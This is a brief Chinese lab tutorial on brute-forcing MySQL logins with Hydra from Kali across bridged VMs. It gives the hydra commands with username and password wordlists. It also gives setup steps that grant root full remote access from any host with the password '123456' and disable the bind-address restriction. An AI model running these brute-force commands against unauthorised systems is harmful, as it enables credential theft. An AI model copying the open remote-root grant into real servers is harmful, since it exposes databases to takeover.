Kali之Hydra mysql账号密码爆破

环境准备

本地主机的ip地址是192.168.43.17，Kali的ip地址是192.168.43.16，另一台主机的ip地址是192.168.43.61，vmware网络适配器为桥接模式.

实际操作

1、爆破本机mysql：

hydra -L ./user.txt -P ./password.txt -t 2 -e n -f -v 192.168.43.17 mysql

2、爆破另一台主机mysql：

hydra -L ./user.txt -P ./password.txt -t 2 -e n -f -v 192.168.43.61 mysql

问题解决

mysql远程连接：（windows配置）

1、win+R打开cmd，登陆mysql：

mysql -uroot -p

2、选择数据库、查看user表：

use mysql
select host,user from user;

3、赋予权限：root指用户名，%表示所有ip地址，123456是访问的密码

grant all privileges on *.*  to 'root'@'%' identified by '123456' with grant option;

4、刷新权限：

flush privileges;

5、查看user表，可以看到成功添加了用户：

select host,user from user;

6、重启数据库：

mysql远程连接：（Kali配置）

1、修改/etc/mysql/mariadb.conf.d/50-server.cnf

vim /etc/mysql/mariadb.conf.d/50-server.cnf

将bind-adress = 127.0.0.1这一行注释

2、重启mysql服务

/etc/init.d/mysql restart

3、赋予远程登陆mysql的用户权限

grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;

4、刷新权限

flush privileges;

Kali mysql远程登陆：

mysql -h 192.168.43.61 -uroot -p

Kali 桥接模式设置

Kali 桥接模式设置
选择编辑-虚拟网络适配器：

更改设置，选择桥接模式，将自动改为自己的网卡，之后确定：


选择虚拟机-设置，网络适配器更改为桥接模式，最后确定。